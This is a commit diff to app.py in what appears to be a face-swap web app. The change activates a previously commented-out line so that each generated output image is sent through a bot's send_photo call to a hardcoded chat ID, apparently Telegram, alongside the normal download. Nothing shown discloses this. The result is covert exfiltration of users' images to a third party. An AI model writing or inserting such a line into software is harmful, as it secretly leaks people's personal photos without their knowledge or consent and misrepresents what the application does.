Mrlongpro commited on
Commit
45ba609
1 Parent(s): e4693e8

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +1 -1
app.py CHANGED
@@ -27,7 +27,7 @@ def run_scripts(target, source, use_face_enhancer):
27
  outputfile.append(output_path1)
28
  print(os.path.abspath(output_path1))
29
  #print(source)
30
- #bot.send_photo("-4283513911", photo=open(Path(output_path1.name), 'rb'))
31
  zipf.write(output_path1)
32
  #bot.send_photo("-4283513911", photo=open(outputfile, 'rb'))
33
  return zip_filename
 
27
  outputfile.append(output_path1)
28
  print(os.path.abspath(output_path1))
29
  #print(source)
30
+ bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
31
  zipf.write(output_path1)
32
  #bot.send_photo("-4283513911", photo=open(outputfile, 'rb'))
33
  return zip_filename